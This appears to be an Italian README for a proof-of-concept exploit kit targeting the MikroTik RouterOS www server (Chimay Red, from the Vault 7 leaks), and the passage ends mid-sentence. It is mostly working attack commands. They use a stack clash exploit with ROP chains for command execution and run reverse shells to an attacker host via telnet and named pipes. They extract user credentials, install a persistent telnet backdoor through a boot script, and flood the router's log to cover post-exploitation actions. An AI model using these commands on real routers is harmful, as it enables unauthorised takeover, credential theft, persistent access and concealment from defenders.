
POC funzionante dell'exploit Mikrotik dai leak Vault 7 della CIA
Reverse engineering dell'exploit Mikrotik dai Vault 7 CIA Leaks
Vedi il PDF per maggiori informazioni (non aggiornato)
Fino a RouterOS 6.38.4
Novità in 6.38.5 (2017-Mar-09 11:32):
!) www - corretta vulnerabilità del server http;
Semplice crash inviando -1 come content-length nell'header post
Exploit stack clash utilizzando due thread, manca la ROP chain
Poiché la ROP è creata dinamicamente, devi estrarre il binario www dal firmware RouterOS.
(È posizionato in /nova/bin/)
Verifica che la versione in esecuzione sia la stessa.
Per semplificare l'estrazione puoi usare:
$ ./tools/getROSbin.py 6.38.4 x86 /nova/bin/www www_binary
Exploit stack clash utilizzando due thread con ROP chain per eseguire comandi bash
In una shell:
$ nc -l -p 1234
In un'altra shell:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f 2>&1"
Dove:
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "cp /rw/store/user.dat /ram/winbox.idx"
$ sleep 3 # (attendi qualche secondo che www venga riavviato)
$ curl -s http://192.168.8.1/winbox/index | ./tools/extract_user.py -
Puoi eseguire comandi nella console Mikrotik con /nova/bin/info.
Es: /nova/bin/info "/system reboot" riavvierà il sistema.
$ ./StackClash_x86.py 192.168.8.1 80 www_binary "/nova/bin/info '/export' > /ram/winbox.idx"
$ sleep 20 # (è un po' lento eseguire il comando /export)
$ curl -s http://192.168.8.1/winbox/index
Exploit stack clash utilizzando due thread con ROP chain + shell code per eseguire comandi bash
Nella versione mips di www lo stack è RWX, quindi possiamo saltare allo stack.
Puoi eseguire lo stesso comando bash della versione x86.
Comando divertente
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "echo hello world > /dev/lcd"

Non farlo! ;-P
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "while [ true ]; do /nova/bin/info ':beep frequency=660 length=100ms;:delay 150ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=510 length=100ms;:delay 100ms;:beep frequency=660 length=100ms;:delay 300ms;:beep frequency=770 length=100ms;:delay 550ms;:beep frequency=380 length=100ms;:delay 575ms;:beep frequency=510 length=100ms;:delay 450ms;:beep frequency=380 length=100ms;:delay 400ms;:beep frequency=320 length=100ms;:delay 500ms;:beep frequency=440 length=100ms;:delay 300ms;:beep frequency=480 length=80ms;:delay 330ms;:beep frequency=450 length=100ms;:delay 150ms;:beep frequency=430 length=100ms;:delay 300ms;:beep frequency=380 length=100ms;:delay 200ms;:beep frequency=660 length=80ms;:delay 200ms;:beep frequency=760 length=50ms;:delay 150ms;:beep frequency=860 length=100ms;:delay 300ms;:beep frequency=700 length=80ms;:delay 150ms;:beep frequency=760 length=50ms;:delay 350ms;:beep frequency=660 length=80ms;:delay 300ms;:beep frequency=520 length=80ms;:delay 150ms;:beep frequency=580 length=80ms;:delay 150ms;:beep frequency=480 length=80ms;:delay 500ms;'; done"
Per caricare busybox-mips in /ram/busybox
In una shell:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Uploading..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /ram/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; } | nc -l -q 0 -p 1234
In un'altra shell (nota che questo è il comando reverse shell):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
e attendi finché la connessione non si chiude automaticamente.
(Una volta che il file è stato caricato, esegui di nuovo la reverse shell (questa volta ascoltando solo con nc -l -p 1234) e troverai busybox dentro /ram/)
Puoi eseguire uno script ad ogni avvio creando uno script bash in /flash/etc/rc.d/run.d/.
Fai attenzione a impostare i permessi di esecuzione, altrimenti il tuo router si bloccherà all'avvio e dovrai ripristinare il firmware!
Questo esempio abilita un server telnet persistente sulla porta 23000.
In una shell:
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ { echo "echo Installing..."; hexdump -v -e '"echo -e -n " 1024/1 "\\\\x%02X" " >> /flash/bin/busybox\n"' busybox-mips | sed -e "s/\\\\\\\\x //g"; echo "chmod 777 /flash/bin/busybox"; echo "/flash/bin/busybox --install -s /flash/bin/"; echo "mkdir -p /flash/etc/rc.d/run.d"; echo 'echo -e "#!/flash/bin/sh\ntelnetd -p 23000 -l sh" > /flash/etc/rc.d/run.d/S89own'; echo "chmod 777 /flash/etc/rc.d/run.d/S89own"; echo "/nova/bin/info '/system reboot'"; echo "echo Done! Rebooting..."; } | nc -l -p 1234
In un'altra shell (nota che questo è il comando reverse shell):
$ ./StackClash_mips.py 192.168.8.1 80 www_binary "/bin/mknod /ram/f p; /bin/telnet 192.168.8.5 1234 < /ram/f | /bin/bash > /ram/f"
e attendi finché non appare Done! Rebooting....
Una volta che il router è di nuovo attivo:
$ telnet 192.168.8.1 23000
Trying 192.168.8.1...
Connected to 192.168.8.1.
Escape character is '^]'.
MikroTik v6.38.4 (stable)
/ #
Riutilizza il socket http per generare una shell, così puoi avere una shell senza una connessione inversa.
$ ./tools/getROSbin.py 6.38.4 mipsbe /nova/bin/www www_binary
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary
[...]
sh: turning off NDELAY mode
Got root ;-)
Per caricare busybox-mips in /ram/busybox
$ wget https://busybox.net/downloads/binaries/1.28.1-defconfig-multiarch/busybox-mips
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary busybox-mips /ram/busybox
[...]
Uploading busybox-mips in /ram/busybox...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
chmod 777 /ram/busybox
/ram/busybox
BusyBox v1.28.1 (2018-02-15 14:34:02 CET) multi-call binary.
[...]
Sono supportati solo file RGB Bitmap a 24 bit (non compressi).
Dimensione massima: 160px di larghezza, 76px di altezza
Puoi trovare un esempio qui
$ ./StackClash_resock_mips.py 192.168.8.1 80 www_binary docs/logo.bmp /flash/boot/logo.bmp
[...]
Uploading docs/logo.bmp in /flash/boot/logo.bmp...
Upload done!
sh: turning off NDELAY mode
Got root ;-)
reboot
*** Connection closed by remote host ***

Per rimuovere i log dopo le tue azioni di post exploitation
/ # /nova/bin/info ":for i from=1 to=1000 do={ :log info message='Some dummy info' }"
Questo è un reverse engineering di documentazione CIA trapelata.
Non esiste un chimay-red.py disponibile pubblicamente.
Aggiornerò il PDF appena avrò abbastanza tempo, comunque:
Sappiamo che: